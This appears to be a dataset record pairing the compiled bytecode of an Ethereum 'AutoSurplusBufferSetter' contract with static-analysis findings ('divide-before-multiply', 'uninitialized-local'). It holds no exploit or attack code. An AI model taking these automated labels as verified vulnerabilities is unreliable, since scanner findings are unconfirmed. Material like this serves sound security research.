0fd5b505050506040513d6020811015610d8557600080fd5b5051600a54600954919250610d9f9190831190151561172c565b15610e5d57600954601260009054906101000a90046001600160a01b03166001600160a01b0316632a608d5b6040518163ffffffff1660e01b815260040160206040518083038186803b158015610df557600080fd5b505afa158015610e09573d6000803e3d6000fd5b505050506040513d6020811015610e1f57600080fd5b505110610e5d5760405162461bcd60e51b815260040180806020018281038252602a815260200180611c7d602a913960400191505060405180910390fd5b610e6b6103e8600b5461087b565b610e7482610602565b1015610eb15760405162461bcd60e51b8152600401808060200182810382526029815260200180611a356029913960400191505060405180910390fd5b6000610ebc826108d3565b600a83905560125460408051630fe4f58960e41b81526c39bab938363ab9a13ab33332b960991b60048201526024810184905290519293506001600160a01b039091169163fe4f58909160448082019260009290919082900301818387803b158015610f2757600080fd5b505af1158015610f3b573d6000803e3d6000fd5b50505050610f4984846117a5565b50505050565b600d5481565b60085481565b6000838015610ffb57600184168015610f7657859250610f7a565b8392505b50600283046002850494505b8415610ff5578586028687820414610f9d57600080fd5b81810181811015610fad57600080fd5b8590049650506001851615610fea578583028387820414158715151615610fd357600080fd5b81810181811015610fe357600080fd5b8590049350505b600285049450610f86565b50611011565b83801561100b576000925061100f565b8392505b505b509392505050565b600081831115611029578161102b565b825b9392505050565b600e5481565b600080600154600014801561104d5750600254155b905061105c4285101582611730565b1561106b5760009150506106a0565b600084156110825761107d428661087b565b611084565b835b9050611097848210600154600014611730565b156110a7576000925050506106a0565b60006110b3828661087b565b905060006110de600254676765c793fa10079d601b1b6110d161072f565b816110d857fe5b04611019565b90506003548211156110f55793506106a092505050565b60015482156111225761111f61111960045485676765c793fa10079d601b1b610f5b565b82610663565b90505b8181111561112d5750805b979650505050505050565b60008161067b84670de0b6b3a76400006106a6565b603281565b336000908152602081905260409020546001146111a05760405162461bcd60e51b8152600401808060200182810382526036815260200180611bec6036913960400191505060405180910390fd5b81706d696e696d756d42756666657253697a6560781b14156111c65760088190556116ed565b81706d6178696d756d42756666657253697a6560781b141561122d576008548110156112235760405162461bcd60e51b8152600401808060200182810382526031815260200180611adb6031913960400191505060405180910390fd5b60098190556116ed565b817f6d696e696d756d476c6f62616c446562744368616e676500000000000000000014156112ac57611267600082116103e883111561172c565b6112a25760405162461bcd60e51b815260040180806020018281038252602b815260200180611a8f602b913960400191505060405180910390fd5b600b8190556116ed565b816a18dbdd995c99591119589d60aa1b1415611319576112d4600082116103e883111561172c565b61130f5760405162461bcd60e51b815260040180806020018281038252602c815260200180611c22602c913960400191505060405180910390fd5b600c8190556116ed565b817518985cd9555c19185d1950d85b1b195c94995dd85c9960521b14156113855760025481111561137b5760405162461bcd60e51b815260040180806020018281038252602a8152602001806119d6602a913960400191505060405180910390fd5b60018190556116ed565b81741b585e155c19185d1950d85b1b195c94995dd85c99605a1b14156113f0576001548110156113e65760405162461bcd60e51b815260040180806020018281038252602a815260200180611cf5602a913960400191505060405180910390fd5b60028190556116ed565b817f7065725365636f6e6443616c6c6572526577617264496e637265617365000000141561146c57676765c793fa10079d601b1b8110156114625760405162461bcd60e51b815260040180806020018281038252602f815260200180611c4e602f913960400191505060405180910390fd5b60048190556116ed565b81756d6178526577617264496e63726561736544656c617960501b14156114d657600081116114cc5760405162461bcd60e51b8152600401808060200182810382526032815260200180611b5b6032913960400191505060405180910390fd5b60038190556116ed565b816a75706461746544656c617960a81b1415611535576000811161152b5760405162461bcd60e51b8152600401808060200182810382526029815260200180611ccc6029913960400191505060405180910390fd5b60078190556116ed565b816e73746f7041646a7573746d656e747360881b141561159957600181111561158f5760405162461bcd60e51b815260040180806020018281038252602b815260200180611b30602b913960400191505060405180910390fd5b60068190556116ed565b817f627566666572496e666c6174696f6e55706461746554696d65000000000000001415611618576115d36010548210154283111561172c565b61160e5760405162461bcd60e51b8152600401808060200182810382526035815260200180611a006035913960400191505060405180910390fd5b60108190556116ed565b8173627566666572496e666c6174696f6e44656c617960601b1415611687576001600160ff1b0381111561167d5760405162461bcd60e51b815260040180806020018281038252602f815260200180611b8d602f913960400191505060405180910390fd5b600e8190556116ed565b8174313ab33332b92a30b933b2ba24b7333630ba34b7b760591b1415610aea5760328111156116e75760405162461bcd60e51b8152600401808060200182810382526030815260200180611bbc6030913960400191505060405180910390fd5b600f8190555b604080518381526020810183905281517fac7c5c1afaef770ec56ac6268cd3f2fbb1035858ead2601d6553157c33036c3a929181900390910190a15050565b1690565b1790565b6000600e546117454260105461087b565b8161174c57fe5b0490508061175a57506117a3565b61177160105461176c83600e546106a6565b610968565b60105560005b818110156117a0576008546117959061176c60648204600f546106a6565b600855600101611777565b50505b565b6005546001600160a01b03838116911614156117c0576117a0565b6005546117d8906001600160a01b0316158215611730565b156117e2576117a0565b60006001600160a01b038316156117f957826117fb565b335b6005546040805163a7e9445560e01b815290519293506001600160a01b039091169163201add9b918491849163a7e94455916004808301926020929190829003018186803b15801561184c57600080fd5b505afa158015611860573d6000803e3d6000fd5b505050506040513d602081101561187657600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b0393841660048201529290911660248301526044820186905251606480830192600092919082900301818387803b1580156118ce57600080fd5b505af19250505080156118df575060015b6119d0573d80801561190d576040519150601f19603f3d011682016040523d82523d6000602084013e611912565b606091505b507ff7bf1f7447ce563690edb2abe40636178ff64fc766b07bf3e171b16102794a548183856040518080602001846001600160a01b03166001600160a01b03168152602001838152602001828103825285818151815260200191508051906020019080838360005b8381101561199257818101518382015260200161197a565b50505050905090810190601f1680156119bf5780820380516001836020036101000a031916815260200191505b5094505050505060405180910390a1505b50505056fe4175746f537572706c75734275666665725365747465722f696e76616c69642d6d696e2d7265776172644175746f537572706c75734275666665725365747465722f696e76616c69642d696e666c6174696f6e2d7570646174652d74696d654175746f537572706c75734275666665725365747465722f736d616c6c2d646562742d6368616e67654175746f537572706c75734275666665725365747465722f6d6f646966792d756e7265636f676e697a65642d706172616d4175746f537572706c75734275666665725365747465722f696e76616c69642d646562742d6368616e67654175746f537572706c75734275666665725365747465722f776169742d6d6f72654175746f537572706c75734275666665725365747465722f6d61782d6275666665722d73697a652d746f6f2d736d616c6c4175746f537572706c75734275666665725365747465722f6e756c6c2d616464726573734175746f537572706c75734275666665725365747465722f696e76616c69642d73746f702d61646a7573744175746f537572706c75734275666665725365747465722f696e76616c69642d6d61782d696e6372656173652d64656c61794175746f537572706c75734275666665725365747465722f696e76616c69642d696e666c6174696f6e2d64656c61794175746f537572706c75734275666665725365747465722f696e76616c69642d7461726765742d696e666c6174696f6e496e6372656173696e6754726561737572795265696d62757273656d656e742f6163636f756e742d6e6f742d617574686f72697a65644175746f537572706c75734275666665725365747465722f696e76616c69642d636f76657265642d646562744175746f537572706c75734275666665725365747465722f696e76616c69642d7265776172642d696e6372656173654175746f537572706c75734275666665725365747465722f6d61782d6275666665722d726561636865644175746f537572706c75734275666665725365747465722f63616e6e6f742d61646a7573744175746f537572706c75734275666665725365747465722f6e756c6c2d7570646174652d64656c61794175746f537572706c75734275666665725365747465722f696e76616c69642d6d61782d726577617264a2646970667358221220faf5070c2902c986f603d9a2d5b874c365c3216ec4db90a7eec1cffa3c7f645e64736f6c63430006070033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
3,699